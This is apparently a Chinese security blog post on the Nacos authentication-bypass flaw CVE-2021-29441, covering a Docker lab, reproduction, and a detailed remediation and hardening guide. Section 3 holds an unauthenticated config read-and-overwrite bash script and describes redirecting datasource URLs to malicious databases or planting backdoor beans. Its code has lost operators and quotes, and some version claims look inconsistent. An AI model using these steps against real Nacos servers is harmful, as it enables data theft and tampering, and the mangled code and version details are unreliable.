1. 项目概述最近在整理内部微服务架构的安全审计报告时我又把Nacos的几个历史高危漏洞翻出来复盘了一遍。其中CVE-2021-29441这个身份认证绕过漏洞虽然官方在2021年就发布了修复版本但直到今天我依然能在一些企业的测试环境甚至老旧的生产系统中发现受影响的版本在运行。这个漏洞的利用门槛极低危害性却极高攻击者无需任何凭证就能直接访问Nacos的管理后台获取甚至修改所有服务的配置信息相当于把整个微服务架构的“配置命脉”拱手让人。今天我就从一个安全研究者和运维老兵的双重角度带大家彻底拆解这个漏洞。我们不仅要动手复现搞清楚攻击者是怎么“溜”进去的更要深入理解其背后的根本原因并掌握一套完整的修复和加固方案。无论你是开发、运维还是安全工程师这篇文章都能帮你建立起对Nacos安全性的深刻认知。2. 漏洞原理深度剖析2.1 Nacos身份认证机制演进与缺陷在Nacos 1.4.1版本之前其身份认证机制存在一个设计上的致命缺陷。为了理解这个漏洞我们得先看看Nacos当时的认证流程。Nacos的控制台Console和API接口的访问控制依赖于一个基于Token的认证体系。当用户登录时服务端会校验用户名和密码成功后生成一个JWT Token返回给客户端。后续的请求客户端需要在请求头中携带这个Token服务端通过解密和校验Token来判断用户身份和权限。听起来很标准对吧问题出在默认配置和路径白名单上。在漏洞版本中nacos.core.auth.enabled这个关键开关的默认值是false。这意味着如果你在部署时没有显式地在application.properties或cluster.conf中将其设置为true那么整个Nacos服务就运行在“裸奔”状态——没有任何认证。更糟糕的是即使你开启了认证nacos.core.auth.enabledtrueNacos也为一些“内部”或“管理”接口预留了白名单。攻击者发现通过构造特定的请求路径可以绕过认证过滤器直接访问到本应受保护的敏感接口。2.2 漏洞核心未授权访问与默认弱密钥CVE-2021-29441的本质是一个未授权访问漏洞它主要由两个关键问题复合而成认证开关默认关闭这是最大的“罪魁祸首”。无数运维人员在部署时直接使用默认配置启动根本不知道自己的Nacos正在“裸奔”。攻击者只需知道Nacos的地址和端口默认8848就能在浏览器中直接访问http://nacos-ip:8848/nacos畅行无阻地进入控制台。内置默认弱密钥即使管理员开启了认证Nacos早期版本使用了硬编码的、公开的JWT签名密钥。在源码中nacos.core.auth.plugin.nacos.token.secret.key等密钥的默认值是公开且强度很弱的字符串。攻击者如果能够通过其他信息泄露或源码分析获取到这些密钥就可以自行伪造具有管理员权限的JWT Token从而通过认证。这两个问题叠加使得攻击面变得非常大。一个疏忽的配置加上一个公开的“后门钥匙”就构成了这个高危漏洞。2.3 受影响的版本范围根据官方安全公告受此漏洞影响的Nacos版本主要集中于2.0.0以下版本确切地说Nacos 1.4.1这些版本默认未开启认证且存在认证绕过路径。部分开启了认证但未修改默认密钥的1.x版本虽然开启了认证但使用了易被破解或伪造的默认密钥。重要提示即使你的版本号高于1.4.1如果是从低版本升级而来且没有按照安全指南重新生成并配置强密钥系统可能依然处于风险之中。安全修复不仅仅是升级版本号。3. 漏洞环境搭建与复现实操“纸上得来终觉浅绝知此事要躬行”。要真正理解一个漏洞最好的方式就是亲手搭建环境并复现它。下面我将带你一步步搭建一个存在漏洞的Nacos环境并演示两种最常见的攻击方式。3.1 搭建漏洞靶场环境我们使用Docker来快速搭建一个存在漏洞的Nacos 1.4.0版本环境这是最便捷且安全的方式。步骤一拉取漏洞版本镜像虽然官方Docker Hub可能已下架旧版本但我们仍可以从一些镜像仓库或通过构建指定版本源码来获取。这里假设我们有一个预构建的nacos:1.4.0镜像。# 假设使用一个包含漏洞的1.4.0镜像 docker pull your-registry/nacos-server:1.4.0-vuln步骤二编写Docker Compose文件创建一个docker-compose.yml文件定义我们的漏洞环境。version: 3.8 services: nacos-standalone: image: your-registry/nacos-server:1.4.0-vuln container_name: nacos-cve-2021-29441 ports: - 8848:8848 # Web控制台端口 - 9848:9848 # 2.x客户端GRPC端口1.x版本此端口未使用但保留映射 environment: - MODEstandalone # 单机模式启动 - NACOS_AUTH_ENABLEfalse # 关键模拟默认未开启认证的环境 volumes: - ./standalone-logs:/home/nacos/logs # 挂载日志方便查看 - ./init.d/application.properties:/home/nacos/conf/application.properties # 可自定义配置 restart: unless-stopped步骤三启动漏洞环境在包含docker-compose.yml的目录下执行docker-compose up -d等待片刻访问http://你的服务器IP:8848/nacos。如果看到Nacos登录页面且无需输入用户名密码默认nacos/nacos就能直接进入或者通过下文提到的接口直接访问到数据说明漏洞环境搭建成功。实操心得在生产环境中我强烈建议使用内部私有镜像仓库来管理所有基础中间件镜像并严格禁止从公共仓库拉取未经安全扫描的镜像。对于漏洞复现务必在隔离的网络环境如虚拟机或独立的Docker网络中进行避免对真实业务造成影响。3.2 攻击路径一直接未授权访问控制台这是最直接、最“傻瓜式”的攻击方式适用于默认未开启认证的场景。信息收集攻击者通过端口扫描如nmap或从源代码、文档泄露等信息发现目标服务器开放了8848端口且服务标识为Nacos。访问尝试直接在浏览器中输入http://target-ip:8848/nacos。结果漏洞存在页面直接跳转至Nacos控制台主页可以看到所有服务列表、配置信息、命名空间等。可以任意进行服务上下线、配置修改、删除等操作。漏洞已修复页面会重定向到登录页面 (/nacos/login)要求输入用户名和密码。利用脚本示例Pythonimport requests def check_console_unauth(target): url fhttp://{target}:8848/nacos/v1/ns/service/list?pageNo1pageSize10 try: resp requests.get(url, timeout5) # 如果返回200且包含服务列表数据说明未授权访问成功 if resp.status_code 200 and json in resp.headers.get(Content-Type, ) and serviceName in resp.text: print(f[] 目标 {target} 存在Nacos控制台未授权访问漏洞) print(f 响应: {resp.text[:500]}...) # 打印部分响应 return True else: print(f[-] 目标 {target} 控制台访问已受保护 (状态码: {resp.status_code})) return False except Exception as e: print(f[!] 检查目标 {target} 时出错: {e}) return False if __name__ __main__: target_ip 192.168.1.100 # 替换为你的靶机IP check_console_unauth(target_ip)3.3 攻击路径二绕过认证访问敏感API在某些配置下控制台入口可能被拦截但一些API接口仍存在绕过可能。攻击者会直接针对REST API进行探测。Nacos提供了丰富的HTTP API进行服务发现和配置管理。在漏洞版本中以下API路径可能无需认证即可访问GET /nacos/v1/ns/service/list- 获取服务列表GET /nacos/v1/cs/configs- 获取配置信息POST /nacos/v1/ns/instance- 注册服务实例PUT /nacos/v1/cs/configs- 发布配置利用过程枚举敏感接口使用工具如Burp Suite、curl或自定义脚本对常见的Nacos API路径进行遍历访问。构造恶意请求例如攻击者可以通过未授权的PUT /nacos/v1/cs/configs接口修改某个关键微服务如支付服务、用户中心的数据库连接字符串将其指向一个恶意数据库从而窃取或篡改数据。权限提升与持久化获取配置后攻击者可能会在其中插入恶意代码或后门。例如在Spring Cloud应用的配置中注入恶意的spring.datasource.url或者添加一个包含远程代码执行功能的Bean定义。利用脚本示例读取配置#!/bin/bash TARGET$1 DATA_IDexample-data-id GROUPDEFAULT_GROUP # 尝试未授权读取配置 curl -s -X GET http://${TARGET}:8848/nacos/v1/cs/configs?dataId${DATA_ID}group${GROUP} if [ $? -eq 0 ] [ ! -z $(curl -s ...) ]; then echo [] 成功未授权读取配置: ${DATA_ID} # 进一步尝试写入配置 NEW_CONTENTmalicious.configvalue curl -X POST http://${TARGET}:8848/nacos/v1/cs/configs \ -d dataId${DATA_ID}group${GROUP}content${NEW_CONTENT} if [ $? -eq 0 ]; then echo [!!!] 严重成功未授权修改配置 fi fi注意事项在复现API绕过时务必使用自己搭建的靶场环境。切勿对任何非授权目标进行测试这是违法行为。复现的目的是为了理解攻击链从而更好地进行防御。4. 漏洞修复与安全加固全指南复现漏洞是为了更好地修复它。针对CVE-2021-29441修复不是简单升级版本而是一套组合拳。下面是我在多次应急响应中总结出的完整加固方案。4.1 立即修复升级至安全版本这是最根本、最有效的措施。阿里云官方在Nacos 1.4.1及之后的版本中修复了此漏洞。升级步骤备份一切备份现有的配置文件conf/目录、数据库如果使用外部数据库以及日志。下载新版本从Nacos官方GitHub Release页面下载1.4.1或更高版本强烈建议直接使用当前最新的稳定版如2.2.x或2.3.x。停止服务优雅停止正在运行的Nacos服务。替换与升级如果是单机部署直接替换安装目录注意保留conf、logs目录。如果是集群部署需逐个节点进行滚动升级确保业务连续性。如果使用Docker更新镜像标签并重新部署。修改关键配置在新的application.properties或application.yml中必须显式开启认证并修改默认密钥。启动与验证启动服务验证功能是否正常并立即测试认证是否生效。版本选择建议1.x 用户至少升级至1.4.3该版本修复了多个后续安全问题。但1.x已停止维护强烈建议规划升级到2.x。新项目/允许升级直接使用2.2.3或2.3.2等最新的2.x稳定版。2.x在架构和安全性上都有巨大提升。4.2 强制开启身份认证无论版本新旧强制开启认证是底线。在application.properties中配置# 开启鉴权必须设置为true nacos.core.auth.enabledtrue # 使用自定义密钥必须修改 nacos.core.auth.plugin.nacos.token.secret.keyVGhpc0lzQVN1cGVyU2VjdXJlU2VjcmV0S2V5Rm9yTmFjb3MhQCMkJV4mKigp # 示例请替换 nacos.core.auth.server.identity.keyserverIdentity nacos.core.auth.server.identity.valuesecurity密钥生成建议 不要使用简单的字符串。可以使用以下命令生成一个足够随机的Base64编码密钥# Linux/Mac openssl rand -base64 32 # 或者使用更长的随机字符串 echo $(head -c 64 /dev/urandom | base64 | tr -d /\n)将生成的字符串作为nacos.core.auth.plugin.nacos.token.secret.key的值。4.3 修改默认用户密码与强化访问控制修改默认密码部署后第一件事就是登录控制台默认用户nacos密码nacos在“权限控制”-“用户管理”中为nacos用户修改一个强密码。创建专属用户避免使用nacos这个超级管理员进行日常操作。根据“最小权限原则”为不同的团队或人员创建独立的用户并赋予其对应命名空间Namespace的只读或读写权限。启用命名空间隔离对于多团队、多项目场景务必使用命名空间进行资源隔离。这样即使一个项目的凭证泄露也不会波及其他项目。配置网络访问控制ACL防火墙规则在云服务器安全组或本地防火墙中严格限制对Nacos端口8848, 9848, 9849的访问。只允许可信的IP地址段如运维网络、应用服务器IP访问。反向代理与认证在Nacos前端部署Nginx或API Gateway配置额外的HTTP Basic认证或IP白名单增加一层防护。内网隔离确保Nacos服务本身不直接暴露在公网。应部署在内网通过VPN或跳板机进行访问管理。4.4 安全配置检查清单完成修复后使用以下清单进行自查检查项安全配置检查命令/方法预期结果认证开关nacos.core.auth.enabledtrue查看conf/application.properties文件确认值为true默认密钥已修改为随机强密钥检查上述文件中的secret.key值已不是公开的默认值控制台访问需登录浏览器访问http://ip:8848/nacos跳转至登录页面API未授权接口需Tokencurl -X GET http://ip:8848/nacos/v1/ns/service/list返回{code:403,message:unknown user!}或401默认密码已修改尝试用nacos/nacos登录登录失败网络暴露端口受限nmap -p 8848,9848,9849 target-ip从外网扫描端口关闭或无法连接版本信息1.4.1访问http://ip:8848/nacos/actuator/info(若开启) 或查看启动日志版本号符合要求4.5 长期监控与审计修复漏洞不是终点建立持续的安全监控机制才能防患于未然。日志审计开启Nacos的访问日志和安全日志定期检查异常登录、频繁的认证失败、来自异常IP的配置修改请求等。配置变更监控对于核心服务的配置启用配置变更通知或审计功能。任何对生产环境关键配置的修改都应触发告警并需要人工复核。定期漏洞扫描使用专业的漏洞扫描工具或SAST/DAST工具定期对Nacos服务进行安全扫描及时发现新的安全威胁。关注安全动态订阅Nacos官方GitHub的安全公告、CNVD/NVD等漏洞库确保在出现新漏洞时能第一时间获知并响应。5. 从漏洞反思架构与运维安全CVE-2021-29441给我们上了一堂生动的安全课。它暴露的不仅仅是代码层面的问题更是架构设计和运维流程上的短板。架构层面安全默认值原则任何中间件或系统安全的配置应该是默认选项。像“默认关闭认证”这种设计是极其危险的。我们在自研系统时必须遵循“默认安全”的原则。最小权限原则Nacos的命名空间和权限模型是一个很好的实践。在架构设计初期就应该考虑资源的隔离和权限的细粒度控制。纵深防御不要依赖单一的安全措施。在Nacos前设置网络ACL、反向代理认证、定期轮换密钥、结合K8s NetworkPolicy等构建多层次防御体系。运维层面配置即代码安全左移Nacos的配置文件application.properties应该像应用代码一样被管理。使用Git进行版本控制在CI/CD流水线中集成安全扫描确保不合规的配置如auth.enabledfalse无法进入生产环境。变更管理任何对基础中间件如Nacos、Redis、MySQL的版本升级和配置变更都必须走严格的变更管理流程包括测试、评审和回滚方案。凭证管理像token.secret.key这类敏感信息绝不能硬编码在配置文件中。应使用专业的密钥管理服务如HashiCorp Vault、阿里云KMS或至少在部署时通过环境变量注入。个人经验我曾经遇到过一个案例团队升级了Nacos版本也修改了配置文件但却忘记重启服务导致“修复”完全没生效。因此任何安全修复后务必验证通过我们上面提供的检查清单或者编写自动化脚本定期检查确保修复措施真正落地。6. 常见问题与排查技巧实录在实际修复和运维过程中你可能会遇到以下问题。这里记录了我踩过的坑和解决方法。问题1升级后开启认证客户端无法连接报403 unknown user或401 unauthorized。原因客户端微服务没有配置正确的用户名密码来访问开启了认证的Nacos Server。解决在Nacos控制台创建对应用户或使用已有用户。在微服务的配置文件中如bootstrap.yml添加认证信息spring: cloud: nacos: discovery: username: ${NACOS_USERNAME:your_username} password: ${NACOS_PASSWORD:your_strong_password} config: username: ${NACOS_USERNAME:your_username} password: ${NACOS_PASSWORD:your_strong_password}建议使用环境变量或配置中心来管理密码避免硬编码。问题2修改了secret.key导致之前生成的Token全部失效控制台无法登录。原因JWT Token的签名密钥变更后旧Token无法通过验证。解决使用修改前的密钥对应的密码登录控制台如果还记得。如果无法登录且使用的是内嵌数据库Derby可以尝试临时关闭认证nacos.core.auth.enabledfalse启动服务后登录并修改密码然后再开启认证并更新密钥。注意此操作有安全风险仅限紧急恢复并在操作后立即重新开启认证。根本方案在计划内维护窗口进行密钥轮换。先更新配置但暂不重启让新旧密钥同时运行一段时间通过配置多个密钥实现待所有客户端和服务都获取到新Token后再移除旧密钥配置并重启。这需要客户端SDK的支持和精细化的操作。问题3漏洞扫描工具在修复后仍然报告Nacos存在“身份认证绕过”漏洞。原因可能是扫描器的误报或者你的修复不彻底例如只升级了版本但没开认证或密钥仍是默认值。排查使用我们提供的“安全配置检查清单”手动验证每一项。使用curl或Postman模拟攻击者请求尝试访问敏感API。检查扫描报告详情看它具体检测的是哪个路径或哪种攻击方式。有时扫描器检测的是其他类似漏洞或配置缺陷。如果确认修复无误可将你的修复证据如版本号、配置截图提供给安全团队申请误报豁免。问题4集群环境下如何确保所有节点都应用了安全配置解决统一配置管理将application.properties等配置文件放在共享存储如NFS、Git中确保所有节点加载同一份配置。配置中心 ironic but effective可以使用一个更高级的配置中心或另一个安全的Nacos集群来管理Nacos自身的配置。自动化部署与校验使用Ansible、SaltStack等工具在部署或变更时将安全配置推送到所有节点并执行脚本校验配置是否一致、服务是否按预期运行。问题5历史版本遗留业务紧无法立即升级大版本怎么办临时缓解措施非根治网络层封堵严格限制Nacos端口的来源IP只允许应用服务器和运维终端访问。反向代理加固在Nacos前部署Nginx配置auth_basicHTTP基础认证和复杂的用户名密码增加一道屏障。修改默认端口将8848改为其他不常见的端口减少被自动化工具扫描到的概率。紧急开启认证即使不升级也务必在现有版本的配置中强制开启认证并修改强密钥。重要提示缓解措施只是权宜之计。必须立即制定并执行版本升级计划因为老版本可能还存在其他未公开的漏洞。安全债务越早偿还成本越低。